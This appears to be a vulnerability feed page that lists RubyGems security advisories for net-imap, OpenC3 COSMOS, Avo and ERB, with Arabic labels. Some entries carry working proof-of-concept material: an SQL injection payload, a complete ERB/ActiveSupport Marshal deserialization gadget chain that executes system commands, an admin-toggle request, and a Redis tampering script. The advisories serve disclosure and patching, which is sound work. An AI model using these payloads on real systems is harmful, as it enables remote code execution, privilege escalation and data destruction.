📦 net-imap 📌 All versions < 0.6.0, 0.6.1, 0.6.2, 0.6.3 📧 بريد 💎 مكتبة Ruby RubyGems ⚡ CWE-392 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary A man-in-the-middle attacker can cause `Net::IMAP#starttls` to return "successfully", without starting TLS. ### Details When using `Net::IMAP#starttls` to upgrade a plaintext connection to use TLS, a man-in-the-middle attacker can inject a tagged `OK` response with...
📅 2026-05-04 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary A man-in-the-middle attacker can cause `Net::IMAP#starttls` to return "successfully", without starting TLS. ### Details When using `Net::IMAP#starttls` to upgrade a plaintext connection to use TLS, a man-in-the-middle attacker can inject a tagged `OK` response with an easily predictable tag. By sending the response before the client finishes sending the command, the command completes "successfully" before the response handler is registered. This allows `#starttls` to return without error, but the response handler is never invoked, the TLS connection is never established, and the socket remains unencrypted. This allows man-in-the-middle attackers to perform a STARTTLS stripping attack, unless the client code explicitly checks `Net::IMAP#tls_verified?`. ### Impact TLS bypass, leading to cleartext transmission of sensitive information. ### Mitigation * Upgrade to a patched version of net-imap that raises an exception whenever `#starttls` does not establish TLS. * Connect to an implicit TLS port, rather than use `STARTTLS` with a cleartext port. This is strongly recommended anyway: * [RFC 8314](https://www.rfc-editor.org/info/rfc8314): Cleartext Considered Obsolete: Use of Transport Layer Security (TLS) for Email Submission and Access * [NO STARTTLS](https://nostarttls.secvuln.info/): Why TLS is better without STARTTLS, A Security Analysis of STARTTLS in the Email Context * Explicitly verify `Net::IMAP#tls_verified?` is `true`, before using the connection after `#starttls`.

الإصدارات المتأثرة

All versions < 0.6.0, 0.6.1, 0.6.2, 0.6.3

نوع الثغرة

CWE-392 — CWE-392

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

9.6/10 حرجة
📦 openc3 🏢 openc3 📌 6.10.0, 6.10.1, 6.10.2, 6.10.3, 6.10.4 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems ⚡ SQL Injection 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 **Vulnerability Type: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Attack type: Authenticated remote Impact: Telemetry data disclosure and deletion Affected components: openc3-tsdb (QuestDB)** A SQL injection vulnerability exists i...
📅 2026-05-04 NVD 🔗 التفاصيل

الوصف الكامل

**Vulnerability Type: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Attack type: Authenticated remote Impact: Telemetry data disclosure and deletion Affected components: openc3-tsdb (QuestDB)** A SQL injection vulnerability exists in the Time-Series Database (TSDB) component of COSMOS. The `tsdb_lookup` function in the `cvt_model.rb` file directly places user-supplied input into a SQL query without sanitizing the input. As a result, a user can break out of the initial SQL statement and execute arbitrary SQL commands, including deleting data. <img width="940" height="719" alt="image" src="https://github.com/user-attachments/assets/2c2dd294-6192-49d3-b670-fd7b82c05be0" /> Figure 1: Source code vulnerable to SQL injection Additionally, the `get_tlm_values` RPC endpoint only requires “tlm” permissions, allowing any user with the Admin, Operator, Viewer, or Runner roles to send a request to the TSDB. This permission is defined in roles-permissions.md to allow for the user to view telemetry data, but this vulnerability also allows them to delete data and tables. <img width="940" height="410" alt="image" src="https://github.com/user-attachments/assets/40be7e8d-51f9-442d-bbd7-77c8488a2f78" /> Figure 2: Source code showing the required permissions for the `get_tlm_values` endpoint Sending a normal request to the endpoint brings back a single array of values for the parameter: <img width="944" height="481" alt="image" src="https://github.com/user-attachments/assets/23678f17-6bdf-41c1-81bc-ace5a8daa7e5" /> Figure 3: A normal request to the `get_tlm_values` endpoint However, sending a specially crafted request within the start_time variable brings back all the data in the database: <img width="944" height="432" alt="image" src="https://github.com/user-attachments/assets/bd5ecc87-ba9c-43f0-b196-91062b9c395a" /> Figure 4: The request and response after sending the SQL injection payload This payload can be modified to executes SQL commands in the TSDB. <img width="944" height="425" alt="image" src="https://github.com/user-attachments/assets/70c3c88e-9ed6-4542-bfb4-e77abb002c15" /> Figure 5: SQL injection used to execute arbitrary SQL command The user can then delete all the historical data in the database: <img width="944" height="496" alt="image" src="https://github.com/user-attachments/assets/f2dc1fa6-5fe0-4232-867a-a65776f108ee" /> Figure 6: Example payload dropping the tables ### Steps to Reproduce 1. Capture a JSON-RPC request to the `get_tlm_values` endpoint. 2. Add the `start_time` key to the request body and place the following in the value: ```sql ‘ OR 1=1 -- ``` 3. Retrieve all database data. ### Recommendations • Sanitize all user-supplied input before executing it • Use prepared statements with parameterized queries when executing SQL statements

الإصدارات المتأثرة

6.10.0, 6.10.1, 6.10.2, 6.10.3, 6.10.4

نوع الثغرة

CWE-89 — SQL Injection

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

4.6/10 متوسطة
📦 openc3 🏢 openc3 📌 5.0.10, 5.0.11, 5.0.6, 5.0.7, 5.0.8 🌐 متصفح 💎 مكتبة Ruby RubyGems ⚡ XSS 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary The Command Sender UI uses an unsafe `eval()` function on array-like command parameters, which allows a user-supplied payload to execute in the browser when sending a command. This creates a self-XSS risk because an attacker can trigger their own script execution in t...
📅 2026-05-04 NVD 🔗 التفاصيل

الوصف الكامل

### Summary The Command Sender UI uses an unsafe `eval()` function on array-like command parameters, which allows a user-supplied payload to execute in the browser when sending a command. This creates a self-XSS risk because an attacker can trigger their own script execution in the victim’s session, if allowed to influence the array parameter input, for example via phishing. If successful, an attacker may read or modify data in the authenticated browser context, including session tokens in local storage. ### Details The unsafe `eval()` usage on user-supplied ARRAY parameters happens in `convertToValue` method in [CommandSender.vue](https://github.com/OpenC3/cosmos/blob/main/openc3-cosmos-init/plugins/packages/openc3-cosmos-tool-cmdsender/src/tools/CommandSender/CommandSender.vue) ### PoC 1. Using a drop-down form, choose any command that supports ARRAY parameters, 2. Inside square brackets “[…]” place a JavaScript code to be executed 3. Send command to CmdTlmServer using dedicated “Send” button 4. Observe JavaScript code being executed in the current browser session context Below example uses `INST ARYCMD` to execute simple JavaScript code snippet `alert(“XSS”)`. <img width="947" height="356" alt="image" src="https://github.com/user-attachments/assets/6fbdb6c9-616a-4268-bbb8-a8a1044437ad" /> <img width="942" height="545" alt="image" src="https://github.com/user-attachments/assets/4df24353-aea0-4aa0-adcf-b7c7e387dc83" /> ### Impact Local JavaScript execution in the user's browser

الإصدارات المتأثرة

5.0.10, 5.0.11, 5.0.6, 5.0.7, 5.0.8

نوع الثغرة

CWE-79 — XSS

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

4.3/10 متوسطة
📦 openc3 🏢 openc3 📌 5.0.10, 5.0.11, 5.0.6, 5.0.7, 5.0.8 📝 إدارة محتوى 💎 مكتبة Ruby RubyGems ⚡ Path Traversal 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary OpenC3 COSMOS contains a design flaw in the `save_tool_config()` function that allows saving tool configuration files at arbitrary locations inside the shared `/plugins` directory tree by supplying crafted configuration filenames. Although the implementation sufficien...
📅 2026-05-04 NVD 🔗 التفاصيل

الوصف الكامل

### Summary OpenC3 COSMOS contains a design flaw in the `save_tool_config()` function that allows saving tool configuration files at arbitrary locations inside the shared `/plugins` directory tree by supplying crafted configuration filenames. Although the implementation sufficiently mitigates standard path traversal attacks, by canonicalizing filename to an absolute path, all plugins share this same root directory. That enables users to create arbitrary file structures and overwrite existing configuration files within the shared `/plugins` directory. ### Details In function `save_tool_config()` ([local_mode.rb](https://github.com/OpenC3/cosmos/blob/397abec0d57972881a2e8dc10902d0dce9c27f42/openc3/lib/openc3/utilities/local_mode.rb#L452)) responsible for saving user-supplied tool configuration, the desired saving directory is not sufficiently enforced, instead allowing writes inside entire `OPENC3_LOCAL_MODE_PATH`. ### PoC 1. Navigate to any tool that enables “Save Configuration” option in left-hand drop-down menu (here Limits Monitor as an example) 2. Save a new config with path traversal name using “../” sequences to escape desired directory (up to 3 levels high) 3. Observe new files created in /plugins directory by inspecting docker container directly (`openc3-COSMOS-cmd-tlm-api`) or using Bucket Explorer (`plugin_default`) <img width="811" height="584" alt="image" src="https://github.com/user-attachments/assets/015a59b4-8b18-4801-aef0-df4831d5c1c3" /> <img width="720" height="664" alt="image" src="https://github.com/user-attachments/assets/8ca4a5b7-ee45-4c3b-99f6-f41f974a74a7" /> ### Impact Modifying the data of other plugins

الإصدارات المتأثرة

5.0.10, 5.0.11, 5.0.6, 5.0.7, 5.0.8

نوع الثغرة

CWE-23 — Path Traversal

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

8.1/10 عالية
📦 openc3 🏢 openc3 📌 5.0.10, 5.0.11, 5.0.6, 5.0.7, 5.0.8 🖥️ نظام تشغيل 💎 مكتبة Ruby RubyGems ⚡ CWE-620 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary The OpenC3 password change functionality allows a user to change their password without providing the old password, by accepting a valid session token instead. In assumed breach scenarios, this behaviour can be exploited by an attacker who has already obtained a valid...
📅 2026-05-04 NVD 🔗 التفاصيل

الوصف الكامل

### Summary The OpenC3 password change functionality allows a user to change their password without providing the old password, by accepting a valid session token instead. In assumed breach scenarios, this behaviour can be exploited by an attacker who has already obtained a valid session token, to gain persistence in hijacked account (including admin) and prevent legitimate users from accessing the account. ### Details The design flaw in authentication model ([authentication.rb](https://github.com/OpenC3/cosmos/blob/397abec0d57972881a2e8dc10902d0dce9c27f42/openc3/lib/openc3/utilities/authentication.rb)) allows for interchangeable use of password and session tokens for user authentication As old tokens are not revoked upon password reset, an attacker who has obtained a valid session token can continue to authenticate and change the account’s password even after the victim resets it, thereby maintaining persistent control over the compromised account. ### PoC 1. Attacker is logged in user account with hijacked valid session token, but not knowing the actual password 2. Legitimate user, as preventive action, changes his password (_password123_) using old password (_password_), that he knows, then establishes new session 3. Attacker issues another password change request (in web proxy like Burp) supplying his still valid token as _old_password_, changing it to attacker-password, from this point preventing any other legitimate users from accessing account <img width="912" height="479" alt="image" src="https://github.com/user-attachments/assets/d27b5980-0326-40f8-bb39-657d7b1c95a0" /> <img width="923" height="423" alt="image" src="https://github.com/user-attachments/assets/060d9fe1-637e-4a2d-9142-76612984ea28" /> ### Impact Persistence of an attacker who obtained valid session token and preventing legitimate users from account access

الإصدارات المتأثرة

5.0.10, 5.0.11, 5.0.6, 5.0.7, 5.0.8

نوع الثغرة

CWE-620 — CWE-620

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

عالية
📦 avo 📌 All versions < 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.2.4 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary A critical Broken Access Control vulnerability was identified in the `ActionsController` of the Avo framework (v3.x). Due to insecure action lookup logic, an authenticated user can execute any Action class (descendants of `Avo::BaseAction`) on any resource, even if t...
📅 2026-04-24 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary A critical Broken Access Control vulnerability was identified in the `ActionsController` of the Avo framework (v3.x). Due to insecure action lookup logic, an authenticated user can execute any Action class (descendants of `Avo::BaseAction`) on any resource, even if the action is not registered for that specific resource. This leads to Privilege Escalation and unauthorized data manipulation across the entire application. ### Details The vulnerability exists in the `action_class` method within `app/controllers/avo/actions_controller.rb`. #### Vulnerable Code ```ruby def action_class # It searches through ALL descendants of BaseAction without resource validation Avo::BaseAction.descendants.find do |action| action.to_s == params[:action_id] end end ``` The controller identifies the action class to execute solely based on the `params[:action_id]` by searching through all `BaseAction` descendants. It fails to verify whether the requested action is actually permitted or registered for the resource context specified in the request URL (e.g., `/admin/resources/posts/actions`). Consequently, an attacker can invoke sensitive actions (e.g., `Avo::Actions::ToggleAdmin`) through an unrelated resource endpoint (e.g., `Post`), bypassing the intended resource-action mapping. ### Impact This flaw results in significant security risks: - **Privilege Escalation:** An authenticated user with low privileges can execute administrative actions (like toggling admin roles) to escalate their own or others' permissions. - **Unauthorized Operations:** Actions designed for restricted resources can be triggered against any record ID in the database. - **Data Integrity Compromise:** Attackers can perform unauthorized destructive operations (e.g., Delete, Archive, or Update) on records they should not have access to. ### Proof of Concept (PoC) **Steps to Reproduce:** 01. Log in to the Avo admin panel with limited permissions. 02. Identify a target record ID (e.g., User ID: 1) and a sensitive action class (e.g., `Avo::Actions::ToggleAdmin`). 03. Send a POST request to a resource endpoint where the target action is not registered: - **URL:** `POST /admin/resources/posts/actions` - **Payload:** `action_id=Avo::Actions::ToggleAdmin&fields[avo_resource_ids]=1` 04. The server executes the `ToggleAdmin` logic on User 1, even though the request was made through the `posts` resource context. **PoC Script Snippet:** ```python # Simulating the unauthorized action execution data = { 'action_id': 'Avo::Actions::ToggleAdmin', 'fields[avo_resource_ids]': '1', # Target Record ID 'authenticity_token': csrf_token } response = session.post(f"{BASE_URL}/admin/resources/posts/actions", data=data) ``` ### Remediation Restrict the action lookup to only those actions explicitly registered for the current resource context: ```ruby def action_class # Validate that the action is registered for the current resource @resource.get_actions.find do |action| action.to_s == params[:action_id] end end ``` ### Discoverer Illunight

الإصدارات المتأثرة

All versions < 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.2.4

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

عالية
📦 avo 📌 All versions < 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.2.4 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems ⚡ CWE-284 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary A critical Broken Access Control vulnerability was identified in the `ActionsController` of the Avo framework (v3.x). Due to insecure action lookup logic, an authenticated user can execute any Action class (descendants of `Avo::BaseAction`) on any resource, even if t...
📅 2026-04-24 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary A critical Broken Access Control vulnerability was identified in the `ActionsController` of the Avo framework (v3.x). Due to insecure action lookup logic, an authenticated user can execute any Action class (descendants of `Avo::BaseAction`) on any resource, even if the action is not registered for that specific resource. This leads to Privilege Escalation and unauthorized data manipulation across the entire application. ### Details The vulnerability exists in the `action_class` method within `app/controllers/avo/actions_controller.rb`. #### Vulnerable Code ```ruby def action_class # It searches through ALL descendants of BaseAction without resource validation Avo::BaseAction.descendants.find do |action| action.to_s == params[:action_id] end end ``` The controller identifies the action class to execute solely based on the `params[:action_id]` by searching through all `BaseAction` descendants. It fails to verify whether the requested action is actually permitted or registered for the resource context specified in the request URL (e.g., `/admin/resources/posts/actions`). Consequently, an attacker can invoke sensitive actions (e.g., `Avo::Actions::ToggleAdmin`) through an unrelated resource endpoint (e.g., `Post`), bypassing the intended resource-action mapping. ### Impact This flaw results in significant security risks: - **Privilege Escalation:** An authenticated user with low privileges can execute administrative actions (like toggling admin roles) to escalate their own or others' permissions. - **Unauthorized Operations:** Actions designed for restricted resources can be triggered against any record ID in the database. - **Data Integrity Compromise:** Attackers can perform unauthorized destructive operations (e.g., Delete, Archive, or Update) on records they should not have access to. ### Proof of Concept (PoC) **Steps to Reproduce:** 01. Log in to the Avo admin panel with limited permissions. 02. Identify a target record ID (e.g., User ID: 1) and a sensitive action class (e.g., `Avo::Actions::ToggleAdmin`). 03. Send a POST request to a resource endpoint where the target action is not registered: - **URL:** `POST /admin/resources/posts/actions` - **Payload:** `action_id=Avo::Actions::ToggleAdmin&fields[avo_resource_ids]=1` 04. The server executes the `ToggleAdmin` logic on User 1, even though the request was made through the `posts` resource context. **PoC Script Snippet:** ```python # Simulating the unauthorized action execution data = { 'action_id': 'Avo::Actions::ToggleAdmin', 'fields[avo_resource_ids]': '1', # Target Record ID 'authenticity_token': csrf_token } response = session.post(f"{BASE_URL}/admin/resources/posts/actions", data=data) ``` ### Remediation Restrict the action lookup to only those actions explicitly registered for the current resource context: ```ruby def action_class # Validate that the action is registered for the current resource @resource.get_actions.find do |action| action.to_s == params[:action_id] end end ``` ### Discoverer Illunight

الإصدارات المتأثرة

All versions < 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.2.4

نوع الثغرة

CWE-284 — CWE-284

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.1/10 عالية
📦 erb, erb, erb, erb 📌 < 4.0.3.1, = 4.0.4, >= 5.0.0, < 6.0.1.1, >= 6.0.2, < 6.0.4 ⛓️‍💥 هجوم سلسلة التوريد 📦 مكتبة Ruby rubygems ⚡ CWE-693 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع 🔍 TristanInSec
💬 ## Summary Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public met...
📅 2026-04-24 NVD 🔗 التفاصيل

الوصف الكامل

## Summary Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard: - `ERB#def_method` - `ERB#def_module` - `ERB#def_class` An attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink, bypassing the `@_init` protection entirely. <details> ## The @_init Guard In `ERB#initialize`, the guard is set: ```ruby # erb.rb line 838 @_init = self.class.singleton_class ``` In `ERB#result` and `ERB#run`, the guard is checked before `eval(@src)`: ```ruby # erb.rb line 1008-1012 def result(b=new_toplevel) unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end eval(@src, b, (@filename || '(erb)'), @lineno) end ``` When an ERB object is reconstructed via `Marshal.load`, `@_init` is either `nil` (not set during marshal reconstruction) or an attacker-controlled value. Since `ERB.singleton_class` cannot be marshaled, the attacker cannot set `@_init` to the correct value, and `result`/`run` correctly refuse to execute. ## The Bypass `ERB#def_method`, `ERB#def_module`, and `ERB#def_class` all reach `eval(@src)` without checking `@_init`: ```ruby # erb.rb line 1088-1093 def def_method(mod, methodname, fname='(ERB)') src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) # <-- no @_init check end end # erb.rb line 1113-1117 def def_module(methodname='erb') # <-- zero-arg call possible mod = Module.new def_method(mod, methodname, @filename || '(ERB)') mod end # erb.rb line 1170-1174 def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible cls = Class.new(superklass) def_method(cls, methodname, @filename || '(ERB)') cls end ``` `def_module` and `def_class` accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods. ### Method wrapper breakout `def_method` wraps `@src` in a method definition: `"def erb\n" + @src + "\nend\n"`. Code inside a method body only executes when the method is called, not when it's defined. However, by setting `@src` to begin with `end\n`, the attacker closes the method definition early. Code after the first `end` executes immediately at `module_eval` time: ```ruby # Attacker sets @src = "end\nsystem('id')\ndef x" # After def_method transformation, module_eval receives: # # def erb # end # system('id') <- executes at eval time # def x # end ``` --- ## Proof of Concept ### Minimal (ERB only) ```ruby require 'erb' erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) # ERB#result correctly blocks this: begin erb.result rescue ArgumentError => e puts "result: #{e.message} (blocked by @_init -- correct)" end # ERB#def_module does NOT block this -- executes system('id'): erb.def_module # Output: uid=0(root) gid=0(root) groups=0(root) ``` ### Marshal deserialization (ERB + ActiveSupport) When combined with `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` as a method dispatch gadget, this achieves RCE via `Marshal.load`: ```ruby require 'active_support' require 'active_support/deprecation' require 'active_support/deprecation/proxy_wrappers' require 'erb' # --- Build payload (replace proxy class for marshaling) --- real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) class ActiveSupport::Deprecation class DeprecatedInstanceVariableProxy def initialize(h) h.each { |k, v| instance_variable_set(k, v) } end end end erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) erb.instance_variable_set(:@filename, nil) proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({ :@instance => erb, :@method => :def_module, :@var => "@x", :@deprecator => Kernel }) marshaled = Marshal.dump({proxy => 0}) # --- Restore real class and trigger --- ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class) # This triggers RCE: Marshal.load(marshaled) # Output: uid=0(root) gid=0(root) groups=0(root) ``` **Chain:** 1. `Marshal.load` reconstructs a Hash with a `DeprecatedInstanceVariableProxy` as key 2. Hash key insertion calls `.hash` on the proxy 3. `.hash` is undefined -> `method_missing(:hash)` -> dispatches to `ERB#def_module` 4. `def_module` -> `def_method` -> `module_eval(eval(src))` -> breakout -> `system('id')` **Verified on:** Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1 </details> ## Impact ### Scope Any Ruby application that calls `Marshal.load` on untrusted data AND has both `erb` and `activesupport` loaded is vulnerable to arbitrary code execution. This includes: - **Ruby on Rails applications that import untrusted serialized data** -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC - **Ruby tools that import untrusted serialized data** -- any tool using `Marshal.load` for caching, data import, or IPC - **Legacy Rails apps** (pre-7.0) that still use Marshal for cookie session serialization ### Severity justification The `@_init` guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The `def_module` bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6. This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails. <details> ### Gadget chain history Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations: | Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | **2026** | **ERB#def_module @_init bypass** | **ERB 6.0.4** | </details> ## Patches The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them. * ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 <details> Add the `@_init` check to `def_method`. Since `def_module` and `def_class` both delegate to `def_method`, this single change covers all three bypass paths: ```ruby def def_method(mod, methodname, fname='(ERB)') unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) end end ``` </details> -----

الإصدارات المتأثرة

< 4.0.3.1, = 4.0.4, >= 5.0.0, < 6.0.1.1, >= 6.0.2, < 6.0.4

نوع الثغرة

CWE-693 — CWE-693

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

حرجة
📦 openc3 📌 5.0.10, 5.0.11, 5.0.6, 5.0.7, 5.0.8 📟 جهاز 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 **Vulnerability Type: Execution with Unnecessary Privileges Attack type: Authenticated remote Impact: Data disclosure/manipulation, privilege escalation Affected components: The following docker images: • Openc3inc/openc3-COSMOS-script-runner-api** The Script Runner widget allow...
📅 2026-04-23 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

**Vulnerability Type: Execution with Unnecessary Privileges Attack type: Authenticated remote Impact: Data disclosure/manipulation, privilege escalation Affected components: The following docker images: • Openc3inc/openc3-COSMOS-script-runner-api** The Script Runner widget allows users to execute Python and Ruby scripts directly from the openc3-COSMOS-script-runner-api container. Because all the docker containers share a network, users can execute specially crafted scripts to bypass the API permissions check and perform administrative actions, including reading and modifying data inside the Redis database, which can be used to read secrets and change COSMOS settings, as well as read and write to the buckets service, which holds configuration, log, and plugin files. These actions are normally only available from the Admin Console or with administrative privileges. Any user with permission to create and run scripts can connect to any service in the docker network. <img width="940" height="473" alt="image" src="https://github.com/user-attachments/assets/bf524163-127d-4349-999b-cefc53d4374d" /> Figure 1: Environment variables, including Redis credentials, found in the Script Runner container A Ruby script is used to expose the Redis username, password, hostname, and port. These credentials might also be found from the source code or through a brute-force attack. <img width="940" height="507" alt="image" src="https://github.com/user-attachments/assets/6d3ccad4-949d-4eeb-a5f8-3aca48bbe815" /> Figure 2: A Python script is used to add data to Redis and retrieve the new data A Python script is then used to create a new entry in the Redis database called `openc3__settings_hacked` with a key of `store_url` and a value of `http://hacked.com`. <img width="940" height="70" alt="image" src="https://github.com/user-attachments/assets/fcef13be-5416-4627-9c95-617a24674ee0" /> Figure 3: The new data found in the Redis database The new entry was successfully added to the Redis database, as is confirmed by using `redis-cli`. The following example shows how an attacker might change the plugin store URL file that is stored in the config bucket. <img width="940" height="640" alt="image" src="https://github.com/user-attachments/assets/681b4dd6-4b6e-4a91-8480-0c9fbff76ede" /> Figure 4: Uploading file to change the plugin store URL setting <img width="940" height="189" alt="image" src="https://github.com/user-attachments/assets/630db0bb-217e-4205-be1d-e9891516b22f" /> Figure 5: The URL file was successfully changed ### Steps To Reproduce 1. Run the following Ruby code to find the Redis credentials: ```ruby puts `env | grep redis` ``` 3. Add the following Python script with the credentials to create a new entry and read it ```python import redis import json import time r = redis.Redis( host = 'openc3-redis', port = 6379, username = 'openc3', password = 'openc3password', decode_responses=True ) # Save a setting setting_data = { 'name': 'store_url', 'data': 'http://hacked.com', 'updated_at': time.time_ns() } r.hset('openc3__settings_hacked','store_url',json.dumps(setting_data)) print(r.hget('openc3__settings_hacked','store_url')) ``` ### Recommendations • Limit the permissions of the script runner API to prevent lower level users from performing administrative actions

الإصدارات المتأثرة

5.0.10, 5.0.11, 5.0.6, 5.0.7, 5.0.8

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

حرجة
📦 openc3 📌 6.10.0, 6.10.1, 6.10.2, 6.10.3, 6.10.4 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 **Vulnerability Type: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Attack type: Authenticated remote Impact: Telemetry data disclosure and deletion Affected components: openc3-tsdb (QuestDB)** A SQL injection vulnerability exists i...
📅 2026-04-23 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

**Vulnerability Type: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Attack type: Authenticated remote Impact: Telemetry data disclosure and deletion Affected components: openc3-tsdb (QuestDB)** A SQL injection vulnerability exists in the Time-Series Database (TSDB) component of COSMOS. The `tsdb_lookup` function in the `cvt_model.rb` file directly places user-supplied input into a SQL query without sanitizing the input. As a result, a user can break out of the initial SQL statement and execute arbitrary SQL commands, including deleting data. <img width="940" height="719" alt="image" src="https://github.com/user-attachments/assets/2c2dd294-6192-49d3-b670-fd7b82c05be0" /> Figure 1: Source code vulnerable to SQL injection Additionally, the `get_tlm_values` RPC endpoint only requires “tlm” permissions, allowing any user with the Admin, Operator, Viewer, or Runner roles to send a request to the TSDB. This permission is defined in roles-permissions.md to allow for the user to view telemetry data, but this vulnerability also allows them to delete data and tables. <img width="940" height="410" alt="image" src="https://github.com/user-attachments/assets/40be7e8d-51f9-442d-bbd7-77c8488a2f78" /> Figure 2: Source code showing the required permissions for the `get_tlm_values` endpoint Sending a normal request to the endpoint brings back a single array of values for the parameter: <img width="944" height="481" alt="image" src="https://github.com/user-attachments/assets/23678f17-6bdf-41c1-81bc-ace5a8daa7e5" /> Figure 3: A normal request to the `get_tlm_values` endpoint However, sending a specially crafted request within the start_time variable brings back all the data in the database: <img width="944" height="432" alt="image" src="https://github.com/user-attachments/assets/bd5ecc87-ba9c-43f0-b196-91062b9c395a" /> Figure 4: The request and response after sending the SQL injection payload This payload can be modified to executes SQL commands in the TSDB. <img width="944" height="425" alt="image" src="https://github.com/user-attachments/assets/70c3c88e-9ed6-4542-bfb4-e77abb002c15" /> Figure 5: SQL injection used to execute arbitrary SQL command The user can then delete all the historical data in the database: <img width="944" height="496" alt="image" src="https://github.com/user-attachments/assets/f2dc1fa6-5fe0-4232-867a-a65776f108ee" /> Figure 6: Example payload dropping the tables ### Steps to Reproduce 1. Capture a JSON-RPC request to the `get_tlm_values` endpoint. 2. Add the `start_time` key to the request body and place the following in the value: ```sql ‘ OR 1=1 -- ``` 3. Retrieve all database data. ### Recommendations • Sanitize all user-supplied input before executing it • Use prepared statements with parameterized queries when executing SQL statements

